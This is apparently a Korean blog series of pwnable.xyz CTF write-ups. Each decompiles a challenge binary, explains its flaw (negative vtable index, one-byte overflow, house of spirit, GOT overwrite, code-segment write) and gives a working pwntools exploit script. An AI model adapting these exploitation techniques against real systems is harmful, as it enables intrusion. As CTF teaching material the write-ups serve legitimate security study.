Partial RELRO, Canary, NX가 걸려있는 64bit 바이너리이다.

 

 

malloc 으로 메모리를 할당하고 read로 입력을 하고 write로 출력을 하고 free로 메모리를 해제하는걸 원하는 것 같은 실행파일이다.

 

[main]

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int v3; // [rsp+Ch] [rbp-4h]

  setup(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    print_menu();
    printf("> ");
    v3 = read_long();
    if ( v3 <= 4 )
      (*(&vtable + v3))();
    else
      puts("Invalid.");
  }
}

 

main은 아주 간단하다. menu를 출력해주고 메뉴 인덱스를 입력받는데 vtable을 통해 함수들을 호출해주고 있다.

 

 

vtable에는 메뉴 인덱스 순서대로 exit, malloc, free, read, write함수의 주소가 적혀있다.

do_malloc함수부터 확인해보자.

 

[do_malloc]

void *do_malloc()
{
  unsigned __int64 v0; // rax
  void *result; // rax

  printf("Size: ");
  v0 = read_long();
  size = v0;
  result = malloc(v0);
  if ( result )
    heap_buffer = result;
  else
    heap_buffer = (void *)1;
  return result;
}

 

size를 입력받아서 해당 값만큼 malloc으로 공간을 heap_buffer에 할당해준다. 만약 malloc이 실패하면 heap_buffer에 1을 넣어준다.

 

 

heap_buffer는 vtable 8byte위에 존재한다.

do_free함수도 확인해보자.

 

[do_free]

void do_free()
{
  if ( heap_buffer == (void *)1 )
  {
    puts("Not allocated.");
  }
  else
  {
    free(heap_buffer);
    heap_buffer = (void *)1;
  }
}

 

heap_buffer를 free해주고 heap_buffer에 1을 넣어준다.

 

[do_read]

int do_read()
{
  int result; // eax

  if ( heap_buffer == (void *)1 )
    result = puts("Not allocated.");
  else
    result = read(0, heap_buffer, size);
  return result;
}

 

do_read 함수는 heap_buffer에 아까 입력받은 size만큼 read를 해준다.

 

[do_wirte]

int do_write()
{
  int result; // eax

  if ( heap_buffer == (void *)1 )
    result = puts("Not allocated.");
  else
    result = write(1, heap_buffer, size);
  return result;
}

 

마지막으로 do_write는 heap_buffer에 있는 값을 size만큼 출력해준다.

그리고

int _()
{
  return system("cat /flag");
}

이렇게 "cat /flag"를 해주는 함수도 존재한다. 이번에는 특이하게 이름이 win이 아니라 _이다.. 나름 숨기려고 이렇게 해놓은건가..?

 

메뉴 인덱스를 입력받는 read_long함수도 보자.

unsigned __int64 read_long()
{
  char s[40]; // [rsp+10h] [rbp-30h]
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(s, 0, 0x20uLL);
  s[(signed int)((unsigned __int64)read(0, s, 0x20uLL) - 1)] = 0;
  return strtoul(s, 0LL, 0);
}

 

stroul함수를 사용하여 입력값을 return하는데 stroul함수는 문자열을 unsigned long형으로 변환해주는 함수이다.

만약 메뉴 인덱스에 -1을 입력하면 vtable[-1]에 접근하여 heap_buffer부분을 호출하고 -2를 입력하면 vtable[-2]를 호출할 것이다.

 

vtable[-2]에는 size가 존재한다. 그러면 do_malloc에서 size를 입력할 때 "_" 함수의 주소를 입력하고 vtable[-2]를 실행시키면 "cat /flag"가 실행될 것이다.

엄청 간단한 문제이다.

 

[payload]

from pwn import *

context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30007)

win = 0x400a31

r.sendlineafter("> ", "1")
r.sendlineafter(": ", str(int(win)))
r.sendlineafter("> ", "-2")

r.interactive()

 

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] TLSv00  (0) 2020.05.29
[pwnable.xyz] Free Spirit  (0) 2020.05.26
[pwnable.xyz] two targets  (0) 2020.05.26
[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] note  (0) 2020.05.08

 

Full RELRO, Canary, NX, PIE가 걸려있는 64bit 바이너리이다.

 

 

음.. flag를 load해서 key로 암호화해서 print되는 실행파일 같은데 설마 복호화 문제는 아니겠지..?

 

[main]

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  signed int v4; // eax
  unsigned int v5; // ST0C_4

  setup();
  puts("Muahaha you thought I would never make a crypto chal?");
  v3 = (_BYTE *)(&word_3E + 1);
  generate_key(63);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu(v3);
        v3 = "> ";
        printf("> ", argv);
        v4 = read_int32();
        if ( v4 != 2 )
          break;
        load_flag();
      }
      if ( v4 > 2 )
        break;
      if ( v4 != 1 )
        goto LABEL_12;
      printf("key len: ");
      v5 = read_int32();
      v3 = (const char *)v5;
      generate_key(v5);
    }
    if ( v4 == 3 )
    {
      print_flag();
    }
    else if ( v4 != 4 )
    {
LABEL_12:
      v3 = "Invalid";
      puts("Invalid");
    }
  }
}

 

main에서는 입력된 메뉴 인덱스에 따라 함수를 실행시켜준다. "1"을 입력했을 때 실행되는 generate_key함수부터 확인해보자.

 

[generate_key]

unsigned __int64 __fastcall generate_key(signed int key_len)
{
  signed int i; // [rsp+18h] [rbp-58h]
  int fd; // [rsp+1Ch] [rbp-54h]
  char s[72]; // [rsp+20h] [rbp-50h]
  unsigned __int64 v5; // [rsp+68h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( key_len > 0 && (unsigned int)key_len <= 0x40 )
  {
    memset(s, 0, 0x48uLL);
    fd = open("/dev/urandom", 0);
    if ( fd == -1 )
    {
      puts("Can't open /dev/urandom");
      exit(1);
    }
    read(fd, s, key_len);
    for ( i = 0; i < key_len; ++i )
    {
      while ( !s[i] )
        read(fd, &s[i], 1uLL);
    }
    strcpy(key, s);
    close(fd);
  }
  else
  {
    puts("Invalid key size");
  }
  return __readfsqword(0x28u) ^ v5;
}

 

입력받는 key의 길이는 1이상 64이하의 값이어야 한다.

memset함수로 s를 0x40만큼 0으로 초기화해준 후 /dev/urandom을 열어서 key_len만큼 s에 입력을 받는다.

만약 중간에 0이 들어있으면 그 부분을 채워주고 strcpy로 key변수에 s의 값을 써준다.

 

여기서 strcpy는 문자열을 복사 후 뒤에 널문자도 추가해준다.

 

 

key의 크기는 0x40이므로 만약 s에 0x40만큼의 값이 써져있다면 1byte overflow가 되어 do_comment를 0으로 덮어씌울 수 있다.

다음으로 load_flag함수를 확인해보자.

 

[load_flag]

int load_flag()
{
  unsigned int i; // [rsp+8h] [rbp-8h]
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("/flag", 0);
  if ( fd == -1 )
  {
    puts("Can't open flag");
    exit(1);
  }
  read(fd, flag, 0x40uLL);
  for ( i = 0; i <= 0x3F; ++i )
    flag[i] ^= key[i];
  return close(fd);
}

 

flag파일을 open한 뒤에 0x40byte만큼 flag변수에 읽어들인다. 그 후 flag와 key에 들어있는 값을 1byte씩 xor연산을 해준 후 다시 flag변수에 저장한다. 여기서는 do_comment가 사용되지 않는다.

마지막으로 print_flag변수도 확인해보자.

 

__int64 print_flag()
{
  __int64 result; // rax

  puts("WARNING: NOT IMPLEMENTED.");
  result = (unsigned __int8)do_comment;
  if ( !(_BYTE)do_comment )
  {
    printf("Wanna take a survey instead? ");
    if ( getchar() == 'y' )
      do_comment = (__int64 (*)(void))f_do_comment;
    result = do_comment();
  }
  return result;
}

 

만약 do_comment가 0이고  "Wanna take a survey instead?"라는 질문에 "y"라고 대답하면 do_comment에 f_do_comment라는 함수의 주소를 넣어준 후 실행시켜준다. print flag라면서 flag를 출력해주지도 않는다..

 

[f_do_comment]

unsigned __int64 f_do_comment()
{
  char buf; // [rsp+10h] [rbp-30h]
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter comment: ");
  read(0, &buf, 0x21uLL);
  return __readfsqword(0x28u) ^ v2;
}

그냥 buf에 0x21byte만큼 입력해주는 함수인데 이 부분을 이용해서 무언가를 할 수 있을 것 같지는 않다..

 

이 함수들 말고 real_print_flag라는 함수도 존재했다.

 

[real_print_flag]

int real_print_flag()
{
  return printf("%s", flag);
}

print_flag가 아니라 real_print_flag!! 여기서 flag를 출력해준다.

 

 

real_print_flag함수의 오프셋은 0xb00이고 아까 print_flag에서 do_comment에 넣어줬던 f_do_comment함수의 오프셋은 0xb1f이다. do_comment가 f_do_comment의 주소를 저장하고 있을 때 "1"번 메뉴를 통해 1byte를 널로 덮어주면 f_do_comment의 주소를 real_print_flag의 주소로 바꿔줄 수 있다.

그 후 다시 "3"번 메뉴로 print_flag함수를 실행시키면 (BYTE)do_comment는 0이니까 질문의 대답에 "y"를 하지 않고 넘어가면 real_print_flag를 실행시킬 수 있다.

 

이런식으로 flag는 출력할 수 있다. 그러면 이제 진짜 flag가 출력될 수 있도록 해야되는데.. key를 전부 0으로 만들어주면 진짜 flag가 출력될 것이다.

 

만약 key_len에 0을 입력한다면 key의 첫 번째 byte가 0으로 세팅될 것이고 key_len에 1을 입력한다면 key의 두 번째 byte가 0으로 세팅될 것이다. 이렇게해서 쭉 한바이트씩 진짜 flag를 확인해보면 된다.

 

한번에 하려니까 조금씩 끊기고 한바이트씩 잘못된 부분도 가끔 생긴다. 그래서 앞부분 따로 뒷부분 따로 해주었다.

 

[payload]

from pwn import *

#context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30006)

#set do_comment
r.sendlineafter("> ", "3")
r.sendlineafter("? ", "y")

#1byte overflow
r.sendlineafter("> ", "1")
r.sendlineafter(": ", "64")

#find flag
flag = "F"

for i in range(1,33):
	
	#set 0x00
	r.sendlineafter("> ", "1")
	r.sendlineafter(": ", str(i))

	#load flag
	r.sendlineafter("> ", "2")
	
	#print flag
	r.sendlineafter(">", "3")
	r.sendlineafter("? ", "r")
	
	flag += r.recv(64)[i]
	print "flag : " + flag

 

 

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Jmp table  (0) 2020.05.30
[pwnable.xyz] Free Spirit  (0) 2020.05.26
[pwnable.xyz] two targets  (0) 2020.05.26
[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] note  (0) 2020.05.08

 

메모리 해제를 하는 free가 오작동을 한다고 한다.

 

Full RELRO, Canary, NX가 걸려있는 64bit 바이너리이다.

 

 

아주 단순한 동작을 한다. 문자열을 입력받고 끝이다. 아마 여기서 malloc으로 메모리를 할당받고 해제하는 것을 까먹던가... UAF가 터지거나.. 그렇겠지?

 

[main]

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  signed __int64 i; // rcx
  int v5; // eax
  __int64 v7; // [rsp+8h] [rbp-60h]
  char *buf; // [rsp+10h] [rbp-58h]
  char nptr; // [rsp+18h] [rbp-50h]
  unsigned __int64 v10; // [rsp+48h] [rbp-20h]

  v10 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  buf = (char *)malloc(0x40uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      _printf_chk(1LL, (__int64)"> ");
      v3 = &nptr;
      for ( i = 12LL; i; --i )
      {
        *(_DWORD *)v3 = 0;
        v3 += 4;
      }
      read(0, &nptr, 0x30uLL);
      v5 = atoi(&nptr);
      if ( v5 != 1 )
        break;
      __asm { syscall; LINUX - sys_read }
    }
    if ( v5 <= 1 )
      break;
    if ( v5 == 2 )
    {
      _printf_chk(1LL, (__int64)"%p\n");
    }
    else if ( v5 == 3 )
    {
      if ( (unsigned int)limit <= 1 )
        _mm_storeu_si128((__m128i *)&v7, _mm_loadu_si128((const __m128i *)buf));
    }
    else
    {
LABEL_16:
      puts("Invalid");
    }
  }
  if ( v5 )
    goto LABEL_16;
  if ( !buf )
    exit(1);
  free(buf);
  return 0;
}

엄청 단순할거라고 생각했는데 생각보다는 조금 긴 main코드이다.

 

0x30byte인 ptr을 모두 0으로 초기화해주고 read함수를 이용해서  0x30byte만큼 입력 받는다.

만약 1을 입력받으면 

__asm { syscall; LINUX - sys_read }

위의 코드를 실행시키고 2를 입력받으면

_printf_chk(1LL, (__int64)"%p\n");

위의 코드를 실행시키고 마지막으로 3을 입력받으면

if ( (unsigned int)limit <= 1 )
        _mm_storeu_si128((__m128i *)&v7, _mm_loadu_si128((const __m128i *)buf));

위의 코드를 실행시키고 그 외에는 모두 break를 해준다.

 

마지막으로 buf가 null이 아니라면 free(buf)를 해준다. 여기서 buf는 malloc으로 0x40만큼 할당되어 있는 메모리이다.

 

그러면 nptr에 "3"이 입력됐을 때를 주목해보자. __mm_storeu_si128은 intel intrinsics로 movdqu에 대응된다. movdqu는 128bit 레지스터나 메모리에 정렬되지 않은 값을 옯길 때 쓰는 명령어이다.

즉, buf에 저장된 16byte 값을 v7로 옮겨주는데 여기서 v7은 8byte 변수이기 때문에 8byte 오버플로우가 발생한다. 

 

디버거로 분석을 해보자.

 

nptr에 "3"을 입력했을 때 부분이다. rax가 buf가 저장되어 있는 부분이고 rsp+0x8이 v7 부분일 것이다. +201에 bp를 걸고 메모리를 확인해보았다.

 

 

0x7fffffffde30에는 malloc으로 0x40만큼 할당된 buf의 주소가 들어있는데 이 부분을 overwrite할 수 있다. 0x7fffffffde38에는 내가 입력한 값이 들어있다.

 

nptr에 "1"을 입력했을 때도 확인해보자.

 

이 부분이고 syscall table을 확인해보면

 

read(0, &rsp+0x10, 0x20)을 실행시키는 부분인 것을 확인할 수 있다. &rsp+0x10은 buf를 가르키고 있으므로 "1"을 입력하게 된다면 buf에 0x20만큼 입력을 받게 된다.

 

nptr에 "2"를 입력했을때이다.

 

 

0x4007a0은 당연히 printf_chk일 것이다.

 

 

"2"를 입력했을 때는 r12레지스터에 있는 값을 16진수로 출력해준다. 이때 r12에는 buf의 주소가 있다. "2"는 buf의 주소를 leak해주는 역할을 한다.

 

buf+0x58위치에 ret가 존재하므로 ret의 주소를 leak할 수 있다.

 

 

이렇게 ret주소를 leak해준다.

 

이제 공격 시나리오를 생각해보자.

 

1. ret 주소를 leak한다.

2. "1"을 입력하여 buf에 dummy(8byte)+ret address를 적어준다.

3. "3"을 입력하여 v7에  dummy 8byte를 입력하고 buf의 주소를 ret address로 바꿔준다.

4. 다시 "1"을 입력하여 ret address에 win함수의 주소를 적는다.

 

이러한 시나리오대로 payload를 짜게 되면

 

이런 오류가 발생하게 된다. 아마 마지막에 buf를 free해주는데 buf의 주소가 return address로 바뀌어 정상적인 heap구조가 아니기 때문에 이러한 오류가 발생하는 것 같다.

 

이러한 부분은 house of spirit으로 해결하면 된다. 그래서 문제 타이틀이 free spirit이었나?

House of spirit은 fastbin을 공격하는 기법으로, 특정 메모리를 해제하고 같은 크기만큼 메모리를 재할당하게 되면 같은 주소를 반환하는 fastbin의 특성을 이용하여 원하는 주소에 원하는 값을 쓸 수 있도록 해준다. 동작 과정은 이렇다.

 

1. ptr 포인터 변수에 0x30만큼의 chunk를 할당받는다. => ptr = malloc(0x30)

2. fake chunk1의 size 값을 지정한다. => free():invalid size오류 회피

3. fake chunk2의 size 값을 지정한다. => free():invalid next size오류 회피

※이 때 size값은 같은 값으로 해도 되고 top chunk처럼 큰 값으로 해도 된다.

4. chunk의 포인터를 원래의 정상적인 chunk가 아닌 fake chunk1을 가르키도록 한다.

5. chunk를 해제시킨다.

 

이렇게 되면 fake chunk1이 해제되어 fast bin에 들어가고, 같은 크기의 메모리가 할당될 때 fake chunk1이 다시 나타나는 그런 방법인데 여기서는 그냥 free만 무사히 시키면 되니까 8로 끝나는 주소에 size만 넣어줘서 fake chunk를 만들어주면 된다.

 

PIE는 걸려있지 않으므로 쓰기 권한이 있는 영역을 대충 골라서 fack chunk를 만들어준다.

 

 

bss영역인 0x601038쯤에 size를 적고 0x601040free()의 인자로 주자. size로는 적당히 0x30정도를 넣고 0x30만큼 뒤인 0x601068next chunk size로 아무 값이나 넣어주면 size check를 통과할 수 있을 것이다.

그러면 공격 시나리오를 다시 생각해보자.

 

1. ret 주소를 leak한다.

2. "1"을 입력하여 buf에 dummy(8byte)+ret address를 적어준다.

3. "3"을 입력하여 v7에  dummy 8byte를 입력하고 buf의 주소를 ret address로 바꿔준다.

4. 다시 "1"을 입력하여 ret address에 win함수의 주소+0x601038(fake chunk1 size address)를 넣는다.

=> return address에는 win의 주소로 세팅이 완료된 상태이고 free만 우회해주면 된다.

5. "3"을 입력하여 buf의 주소를 fake chunk1 size address의 주소로 바꾸어 준다.

6. "1"을 입력하여 fack chunk1 size address에 0x30와 fake chunk2 size address를 뒤에 적어준다.

7. "3"을 입력하여 buf의 주소를 fake chunk2 size address의 주소로 바꾸어 준다.

8. "1"을 입력하여 fake  chunk2 size address에 0x30와 fake chunk1 address(0x601040)를 뒤에 적어준다..

9. "3"을 입력하여 buf의 주소를 fake chunk1 address(0x601040)으로 바꾸어준다.

 

이런식으로 payload를 짜보자.

 

[payload]

from pwn import *

context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30005)
#r = process('./challenge')
e = ELF('./challenge')
win = e.symbols['win']

#return address leak
r.sendlineafter("> ", "2")
ret = int(r.recvline()[:-1], 16) + 0x58
print "ret address:" + hex(ret)

#save return address
payload = ''
payload += "A"*8
payload += p64(ret)

r.sendlineafter("> ", "1")
r.sendline(payload)
r.sendlineafter("> ", "3")

#set fake chunk
fake_chunk = 0x601040
r.sendlineafter("> ", "1")

#set fake chunk1 size
payload = p64(win) + p64(fake_chunk - 0x8)
r.sendline(payload)
r.sendlineafter("> ", "3")
r.sendlineafter("> ", "1")

payload = p64(0x30) + p64(fake_chunk - 0x8 + 0x30)
r.sendline(payload)
r.sendlineafter("> ", "3")

#set fake chunk2 size
r.sendlineafter("> ", "1")

payload = p64(0x30) + p64(fake_chunk)
r.sendline(payload)
r.sendlineafter("> ", "3")

#return
r.sendlineafter("> ", "0")

r.interactive()

 

성공이다~!

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Jmp table  (0) 2020.05.30
[pwnable.xyz] TLSv00  (0) 2020.05.29
[pwnable.xyz] two targets  (0) 2020.05.26
[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] note  (0) 2020.05.08

 

target이 두 개가 있나보다.

 

Partial RELRO, Canary, NX가 걸려있는 64bit 바이너리이다.

 

 

menu중에 특이하게 Get shell이란 선택지가 있다. 저 선택지가 눈에 띄는 target이고 뭐 숨겨져 있는 target도 있는... 그런 문제인가?

 

[main]

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  int v4; // eax
  char s; // [rsp+10h] [rbp-40h]
  __int64 v6; // [rsp+30h] [rbp-20h]
  char *v7; // [rsp+40h] [rbp-10h]
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  v3 = 0LL;
  memset(&s, 0, 0x38uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v4 = read_int32();
      if ( v4 != 2 )
        break;
      printf("nationality: ", v3);
      v3 = (char *)&v6;
      __isoc99_scanf((__int64)"%24s", (__int64)&v6);
    }
    if ( v4 > 2 )
    {
      if ( v4 == 3 )
      {
        printf("age: ", v3);
        v3 = v7;
        __isoc99_scanf((__int64)"%d", (__int64)v7);
      }
      else if ( v4 == 4 )
      {
        if ( (unsigned __int8)auth((__int64)&s) )
          win();
      }
      else
      {
LABEL_14:
        puts("Invalid");
      }
    }
    else
    {
      if ( v4 != 1 )
        goto LABEL_14;
      printf("name: ", v3);
      v3 = &s;
      __isoc99_scanf((__int64)"%32s", (__int64)&s);
    }
  }
}

 

nationality는 24byte까지 입력이 가능하고, age에는 정수가 입력되며 name에는 32byte까지 입력이 가능하다. 아까 확인했었던 Get shell을 선택하게 되면 auth(&s)가 0이 아니라면 win함수가 실행이 된다. 여기서 s는 name이 저장되는 변수이다.

 

[auth]

_BOOL8 __fastcall auth(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-38h]
  char s1[8]; // [rsp+20h] [rbp-30h]
  __int64 v4; // [rsp+28h] [rbp-28h]
  __int64 v5; // [rsp+30h] [rbp-20h]
  __int64 v6; // [rsp+38h] [rbp-18h]
  unsigned __int64 v7; // [rsp+48h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  *(_QWORD *)s1 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  for ( i = 0; (unsigned int)i <= 0x1F; ++i )
    s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i)) ^ *((_BYTE *)main + i);
  return strncmp(s1, &s2, 0x20uLL) == 0;
}

 

name에 저장된 문자열을 특정 연산을 해준 후 s2와 같은지 확인을 해주고 있다.

 

 

s2는 다음과 같다. 아마 첫 번째 타겟은 이 함수를 리버싱해서 win을 호출하는 것 같다.

 

for ( i = 0; (unsigned int)i <= 0x1F; ++i )

    s1[i] = ((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i)) ^ *((_BYTE *)main + i);

 

이 부분의 연산을 분석해보자.

a1[i]를 왼쪽으로 4bit shift한 값과 a1[i]를 오른쪽으로 4bit shift해준 것을 or연산을 해주고 main[i]랑 xor해주고 있다.

 

main부분의 코드에서 20byte를 긁어와서 코드를 짜주면 된다. 

 

1. tmp1 = a1[i] << 4

2. tmp2 = a1[i] >> 4

3. tmp3 = tmp1 | tmp2

4. tmp3 ^ main[i]

 

이 과정을 역연산해서 payload를 짜줬다.

 

참고

"11110000" 이런 1byte 값으로 해당 연산을 해본다고 가정해보자.

왼쪽으로 4bit shift해주면 "11110000(0000)"이 남고 오른쪽으로 4bit shift해주면 "1111"이 남는다. 각각 원래값+0000과상위 4bit가 남게 된다. 이를 or연산 해주면 "111100001111"로 원래 값 + 상위 4bit가 나온다.

그런데 BYTE연산이니까 결국은 하위 4bit + 상위 4bit로 4bit단위로 앞뒤가 바뀐 결과가 나온다.

 

 

[payload]

from pwn import *
context.log_level = 'debug'

r = remote('svc.pwnable.xyz', 30031)

s2 = [0x11,0xde,0xcf,0x10,0xdf,0x75,
	0xbb,0xa5,0x43,0x1e,0x9d,0xc2,0xe3,
	0xbf,0xf5,0xd6,0x96,0x7f,0xbe,0xb0,
	0xbf,0xb7,0x96,0x1d,0xa8,0xbb,0x0a,
	0xd9,0xbf,0xc9,0x0d,0xff]

main = [0x55,0x48,0x89,0xe5,0x48,0x83,0xec,
	0x50,0x64,0x48,0x8b,0x04,0x25,0x28,
	0x00,0x00,0x00,0x48,0x89,0x45,0xf8,
	0x31,0xc0,0xe8,0x24,0xfe,0xff,0xff,
	0x48,0x8d,0x45,0xc0]

result = []

for i in range(0x20):
	tmp = s2[i] ^ main[i]
	result.append(hex((tmp>>4) | ((tmp<<4)&0xff)))


payload = ''
payload += "\x44\x69\x64\x5f\x79\x6f\x75\x5f\x72\x65\x61\x6c\x6c\x79\x5f\x6d\x69\x73\x73\x5f\x74\x68\x65\x5f\xc8\x54\x5f\x62\x7f\x44\x84\xf3"

r.sendlineafter("> ", "1")
r.sendlineafter("name: ", payload)
r.sendlineafter("> ", "4")	

r.interactive()

 

 

성공이다. 이제 두 번째 target을 찾아보자.

 

[main 중]

 __int64 v6; // [rsp+30h] [rbp-20h]
  char *v7; // [rsp+40h] [rbp-10h]
  unsigned __int64 v8; // [rsp+48h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  v3 = 0LL;
  memset(&s, 0, 0x38uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v4 = read_int32();
      if ( v4 != 2 )
        break;
      printf("nationality: ", v3);
      v3 = (char *)&v6;
      __isoc99_scanf((__int64)"%24s", (__int64)&v6);
    }
    if ( v4 > 2 )
    {
      if ( v4 == 3 )
      {
        printf("age: ", v3);
        v3 = v7;
        __isoc99_scanf((__int64)"%d", (__int64)v7);
      }

 

이 부분을 자세히 보면 v6의 크기는 0x10byte이지만 입력은 0x18byte를 받을 수 있어서 v7까지 덮을 수 있는데 age를 입력받는 부분에서 v7에 정수를 입력받을 수 있게 되어있다.

 

v6에 0x10만큼의 dummy값을 씌우고 v7에 got를 덮어주면 되는데 여기서 "%d"로 age에 입력을 받기 때문에 4byte만 덮을 수 있다. 그러므로 한번도 호출되지 않은 함수를 사용해야 된다. 한번이라도 호출 된 함수는 0x7fff... 이런식으로 6byte가 채워져 있어서 사용이 불가능하다. strcmp의 got를 덮어주고 age에서 win의 주소를 넣어주면 된다~!

 

from pwn import *

r = remote('svc.pwnable.xyz', 30031)

win_add = int(0x40099c)
strncmp_got = 0x603018

payload = ''
payload += "A"*0x10 + p64(strncmp_got)

r.sendlineafter("> ", "2")
r.sendlineafter("nationality: ", payload)
r.sendlineafter("> ", "3")
r.sendlineafter("age: ", str(win_add))
r.sendlineafter("> ", "4")

r.interactive()

 

 

두 번째도 성공이다.

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] TLSv00  (0) 2020.05.29
[pwnable.xyz] Free Spirit  (0) 2020.05.26
[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] note  (0) 2020.05.08
[pwnable.xyz] GrowUp  (0) 2020.04.25

 

Full RELRO, NX, PIE가 걸려있는 64bit 바이너리이다.

 

어떤.. 프로그램인지는 잘 모르겠고... 그냥 똥이 나온다..

 

[main]

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-24h]
  __int64 v4; // [rsp+10h] [rbp-20h]
  __int64 v5; // [rsp+18h] [rbp-18h]
  __int64 v6; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  puts("The Poopolator");
  setup("The Poopolator", argv);
  while ( 1 )
  {
    v6 = 0LL;
    printf(byte_BBC);
    v3 = _isoc99_scanf(&unk_BC6, &v4, &v5, &v6);
    if ( !v4 || !v5 || !v6 || v6 > 9 || v3 != 3 )
      break;
    result[v6] = v5 ^ v4;
    printf("Result: %ld\n", result[v6]);
  }
  exit(1);
}

 

main함수에서는 while문 안에서 세 개의 정수를 입력받은 후 입력 받은 수들이 0이거나 마지막 수가 9보다 크면 반복문을 탈출하고 그렇지 않다면 result 전역변수의 인덱스 v6(마지막 정수)에 v5(두번째 정수) ^ v4(첫번째 정수)를 넣어준다. 

 

result는 크기가 10인 배열이기 때문에 9보다 큰 값이 들어오면 result에 접근하지 못하도록 해준다.

그런데 9보다 큰 값만 검사하고 음수값이 입력되는지는 검사하지 않기 때문에 원하는 주소에 원하는 값을 입력할 수 있다.

 

실행권한이 있는 부분을 확인해보자.

 

 

0x0000555555554000부터 0x0000555555555000까지 실행권한이 존재한다.

 

코드영역을 수정할 수 있다.

 

call printf를 call win으로 바꿔주면 된다!

 

"call printf" offset = 0xb15

result offset = 0x202200
win offset = 0xa21

0x202200 + 8*v6 = 0xb15가 되어야 한다.

 

 

v4 = 1

v5 = "call win" ^ 1

v6 = -262878

이거를 넣어주면 된다.

 

[payload]

from pwn import *

context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30029)
#r = process('./challenge')
e = ELF('./challenge')

r.recvuntil("The Poopolator\n")

win_addr = 0xa21
result = 0x202200
#call_print = 0xb15
call_exit = 0xac8

e.asm(call_exit, "call 0xa21")
call_win = int(e.read(call_exit,5)[::-1].encode('hex'), 16)

payload = ''
payload += "1 "
payload += str(call_win^1)
payload += " "
payload += str((call_exit - result)/8)

#r.recvuntil("The Poopolater\n")
r.sendlineafter("   ", payload)
r.sendlineafter("   ", "a")
r.interactive()

 "call printf"를 덮으려고 하니까 잘 안돼서 그냥 "call exit"부분을 덮었다.

 

 

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Free Spirit  (0) 2020.05.26
[pwnable.xyz] two targets  (0) 2020.05.26
[pwnable.xyz] note  (0) 2020.05.08
[pwnable.xyz] GrowUp  (0) 2020.04.25
[pwnable.xyz] misalignment  (0) 2020.04.17

메모... 101..

 

Canary, NX 가 걸려있는 64bit 바이너리이다.

 

 

Edit note와 Edit desc 이렇게 두 개의 메뉴가 있다.

 

[main]

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  int v4; // eax

  setup();
  v3 = "Note taking 101.";
  puts("Note taking 101.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        v4 = read_int32();
        if ( v4 != 1 )
          break;
        edit_note((__int64)v3, (__int64)argv);
      }
      if ( v4 != 2 )
        break;
      edit_desc();
    }
    if ( !v4 )
      break;
    v3 = "Invalid";
    puts("Invalid");
  }
  return 0;
}

 

read_int32함수로 메뉴 인덱스를 입력받고 입력 받은 인덱스에 따라 edit_note나 edit_desc함수를 실행시켜 준다.

 

[read_int32]

int read_int32()
{
  char buf; // [rsp+0h] [rbp-30h]
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, &buf, 0x20uLL);
  return atoi(&buf);
}

 

read_int32함수에는 따로 특이한 부분은 없다.

 

그러면 edit_note함수부터 확인해보자.

 

[edit_note]

void __fastcall edit_note(__int64 a1, __int64 a2)
{
  int v2; // ST04_4
  void *buf; // ST08_8

  printf("Note len? ", a2);
  v2 = read_int32();
  buf = malloc(v2);
  printf("note: ");
  read(0, buf, v2);
  strncpy(s, (const char *)buf, v2);
  free(buf);
}

 

note의 길이를 read_int32로 입력 받고 입력 받은 길이만큼 buf에 malloc으로 메모리를 할당해준다. 그 후 read함수로 buf에 입력 받은 길이만큼 입력 값을 쓰고 strncpy를 이용해서 buf의 내용을 입력 받은 note의 길이만큼 s라는 변수에 복사해준 후 buf는 free해준다.

 

s는 32byte만큼 할당되어 있는데 note의 길이를 입력 받을 때 길이 제한을 두지 않았기 때문에 32byte보다 더 많은 값을 입력할 수 있다. s아래에 있는 buf는 edit_desc에서 사용된다.

 
